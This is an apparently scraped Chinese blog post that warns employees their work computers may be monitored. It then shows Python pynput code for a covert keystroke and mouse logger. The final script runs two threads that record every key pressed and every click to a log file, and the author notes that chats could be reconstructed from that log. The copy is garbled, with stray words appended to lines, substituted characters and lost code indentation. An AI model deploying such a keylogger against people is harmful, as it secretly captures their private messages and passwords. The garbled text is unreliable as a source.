本文正在参加「Python主题月」,详情查看 活动连接python
今天有位同事和我吐槽关于公司 XX
的问题,我告诉他不要在公司电脑上说这些,由于极可能会被狙击,这位同事刚开始还不信,直到我写了这边文章,他才恍然大悟。markdown
pynput
能够监控咱们的键盘和鼠标。目前具备此类功能的库有不少,好比 pygame
等游戏库,可是当咱们只须要监控键盘和鼠标时,它们就显得过于笨重了,咱们能够选择轻量,快速的 pynput
。app
假设公司想要静默为咱们的电脑常驻一个后台进程去实现监控咱们的键盘输入并记录下来,他们大概能够这样作:ide
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
复制代码
控制台打印:post
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
复制代码
控制台打印:ui
你会发现,每条打印都被打印了两次,这是由于按下去和抬起来都会触发鼠标事件。lua
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
复制代码
查看日志内容:url
如上,咱们的键盘操做所有已经被记录,经过对这个日志文件进行简单的
NLTK
语言处理,就能复原你的聊天记录。spa
以上就是今天的所有内容了,感谢您的阅读,咱们下节再会。线程